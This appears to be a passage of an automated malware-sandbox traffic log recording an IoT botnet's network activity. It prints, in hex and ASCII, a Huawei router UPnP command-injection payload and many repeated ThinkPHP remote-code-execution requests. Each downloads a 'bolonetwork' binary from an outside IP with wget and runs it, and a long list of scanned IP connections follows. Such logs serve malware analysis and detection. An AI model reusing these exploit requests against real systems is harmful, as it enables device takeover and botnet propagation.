61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.74.63.134
Source: unknown	TCP traffic detected without corresponding DNS query: 157.78.32.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.172.22
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 157.52.23.60
Source: unknown	TCP traffic detected without corresponding DNS query: 24.34.240.214
Source: unknown	TCP traffic detected without corresponding DNS query: 41.26.139.46
Source: unknown	TCP traffic detected without corresponding DNS query: 61.165.104.213
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.93.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.117.241
Source: unknown	TCP traffic detected without corresponding DNS query: 157.11.56.240
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.176.169
Source: unknown	TCP traffic detected without corresponding DNS query: 157.135.213.6
Source: unknown	TCP traffic detected without corresponding DNS query: 126.166.207.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.65.98.19
Source: unknown	TCP traffic detected without corresponding DNS query: 52.155.86.86
Source: unknown	TCP traffic detected without corresponding DNS query: 197.24.4.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.137.75.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.108.206.182
Source: unknown	TCP traffic detected without corresponding DNS query: 153.57.57.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.27.148
Source: unknown	TCP traffic detected without corresponding DNS query: 157.216.161.59
Source: unknown	TCP traffic detected without corresponding DNS query: 41.173.192.227
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.31.171
Source: unknown	TCP traffic detected without corresponding DNS query: 157.208.127.244
Source: unknown	TCP traffic detected without corresponding DNS query: 157.20.249.180
Source: unknown	TCP traffic detected without corresponding DNS query: 32.244.217.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.188.32.205
Source: unknown	TCP traffic detected without corresponding DNS query: 157.88.41.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.238.163
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.128.49
Source: unknown	TCP traffic detected without corresponding DNS query: 41.122.12.187
Source: unknown	TCP traffic detected without corresponding DNS query: 41.243.57.159
Source: unknown	TCP traffic detected without corresponding DNS query: 124.232.166.233
Source: unknown	TCP traffic detected without corresponding DNS query: 50.0.188.147
Source: unknown	TCP traffic detected without corresponding DNS query: 118.0.129.46
Source: unknown	TCP traffic detected without corresponding DNS query: 157.136.249.217
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.62.141
Source: unknown	TCP traffic detected without corresponding DNS query: 141.92.189.24
Source: unknown	TCP traffic detected without corresponding DNS query: 157.92.46.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.136.233.151
Source: unknown	TCP traffic detected without corresponding DNS query: 117.157.75.129
Source: unknown	TCP traffic detected without corresponding DNS query: 41.121.47.232
Source: unknown	TCP traffic detected without corresponding DNS query: 43.186.3.173
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.186.119
Source: unknown	TCP traffic detected without corresponding DNS query: 41.171.70.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.255.157
Source: unknown	TCP traffic detected without corresponding DNS query: 157.203.119.152
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.212.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.249.151.109

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
